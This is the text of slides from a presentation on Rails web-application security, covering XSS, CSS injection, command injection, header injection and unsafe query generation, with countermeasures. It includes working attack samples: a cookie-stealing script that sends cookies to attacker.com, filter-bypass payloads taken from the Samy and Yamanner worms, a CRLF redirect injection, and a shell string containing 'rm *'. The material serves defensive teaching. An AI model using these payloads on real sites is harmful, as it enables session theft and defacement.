  • 46. Injection Cross-Site Scripting (XSS) • Most straightforward test to check for XSS <script>alert('Hello');</script> in very uncommon places <img src=javascript:alert('Hello')> <table background="javascript:alert('Hello')">
  • 47. Injection Cross-Site Scripting (XSS) • Cookie theft <script>document.write(document.cookie);</script> shows one’s own cookie on the browser and still satisfies the same origin policy <script>document.write('<img src="http:// www.attacker.com/' + document.cookie + '">');</script> However, an attacker can steal the victim’s cookie like The log file on www.attacker.com will read like GET http://www.attacker.com/ _app_session=836c1c25278e5b321d6bea4f19cb57e2
  • 48. Injection Cross-Site Scripting (XSS) • Defacement • Overlap the entire or part of the web page with a fake web page • iframe is the most popular way to include code from external sources • unescaped search string is also dangerous
  • 49. Injection Cross-Site Scripting Countermeasure • Filter a malicious input, and also escape the output of the web application • Again, use whitelist filtering instead of blacklist. Blacklist are never complete
  • 50. Injection Cross-Site Scripting Countermeasure • Rails filter methods (strip_tags(), strip_links(), sanitize()) used a blacklist approach strip_tags("some<<b>script>alert('hello')<</b>/script>") returns some<script>alert('hello')</script>
  • 51. Injection Cross-Site Scripting Countermeasure • Updated Rails 2 filter methods (strip_tags(), strip_links(), sanitize()) use a whitelist approach tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) s = sanitize(user_input, tags: tags, attributes: %w(href title))
  • 52. Injection Cross-Site Scripting Countermeasure • Use escapeHTML() (or h()) • It replaces replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (&amp;, &quot;, &lt;, and &gt;) • Consider SafeErb gem. SafeErb reminds you to escape strings from external sources
  • 53. Injection Cross-Site Scripting Countermeasure • Rails sanitize() filter also recognizes encoded injection <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;& #105;&#112;&#116;&#58;&#97;&#108;&#101;&#114 ;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> pops up a message box
  • 54. Injection Real-world Example • Js.Yamanner@m Yahoo! Mail worm appeared on June 11, 2006 <img src='http://us.i1.yimg.com/us.yimg.com/i/ us/nt/ma/ma_mail_1.gif' target=""onload="var http_request = false; var Email = ‘'; var IDList = ‘'; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ... exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once.
  • 55. Injection CSS Injection • MySpace Samy Worm Case Study • The worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile • Within several hours, he had over 1 million friend requests • It creates too much traffic on MySpace, so that the site goes offline
  • 56. Injection CSS Injection • MySpace Samy Worm Case Study MySpace blocks many tags, however it allow CSS <div style="background:url('javascript:alert(1)')"> But we cannot use either double and single quotes in the style attribute <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval( document.all.mycode.expr)')"> Aha! eval() allows to extract the payload outside of the style attribute
  • 57. Injection CSS Injection • MySpace Samy Worm Case Study MySpace filters the word ‘javascript’, let’s get around this <div id="mycode" expr=“alert('hah!')" style="background:url('java↵
 script:eval(document.all.mycode.expr)')"> Last problem was the CSRF security token The attacker (Samy) got around it by sending GET to the page right before adding a user and parsing the result for the CSRF token In the end, the attacker got a 4KB worm, which he injected into his profile page
  • 58. Injection Command Line Injection • Use user-supplied command line parameters with caution • Use system(command, parameters) instead of exec(command), syscall(command), system(command) system("/bin/echo","hello; rm *") # prints "hello; rm *" and does not delete files
  • 59. Injection Header Injection • HTTP request headers are user-supplied and may be manipulated with more or less effort • Be careful when you display the user agent in an administrator area • HTTP response headers partly based on user input could be dangerous
  • 60. Injection Header Injection redirect_to params[:referer] Rails puts the string into the Location header field and sends a 302 status to the browser http://www.yourapplication.com/controller/action? referer=path/at/your/app%0d%0aLocation:+http:// www.malicious.tld The second location overwrites the first HTTP/1.1 302 Moved Temporarily (...) Location: http://www.malicious.tld
  • 61. Injection Header Injection HTTP/1.1 302 Found [First standard 302 response] Date: Tue, 12 Apr 2005 22:09:07 GMT Location:
 Content-Type: text/html HTTP/1.1 200 OK [Second New response created by attacker begins] Content-Type: text/html &lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is shown as the redirected page] Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html • Response Splitting However, only seems to work with Keep-Alive connections
  • 62. Injection Header Injection Countermeasure • Filter CRLFs from user inputs in response headers • Use Rails version 2.1.2 or higher
  • 63. Unsafe Query Generation unless params[:token].nil? user = User.find_by_token(params[:token]) user.reset_password! end When params[:token] is one of : [], [nil], [nil,nil,…], [‘foo’,nil], it will bypass the test for nil IS NULL or IN ('foo', NULL) where clauses will unexpectedly be added to the result SQL
  • 64. Unsafe Query Generation config.action_dispatch.perform_deep_munge = true The default deep_munge option translates the followings JSON Parameters { "person": null } { :person => nil } { "person": [] } { :person => nil } { "person": [null] } { :person => nil } { "person": [null, null, ...] } { :person => nil } { "person": ["foo", null] } { :person => ["foo"] }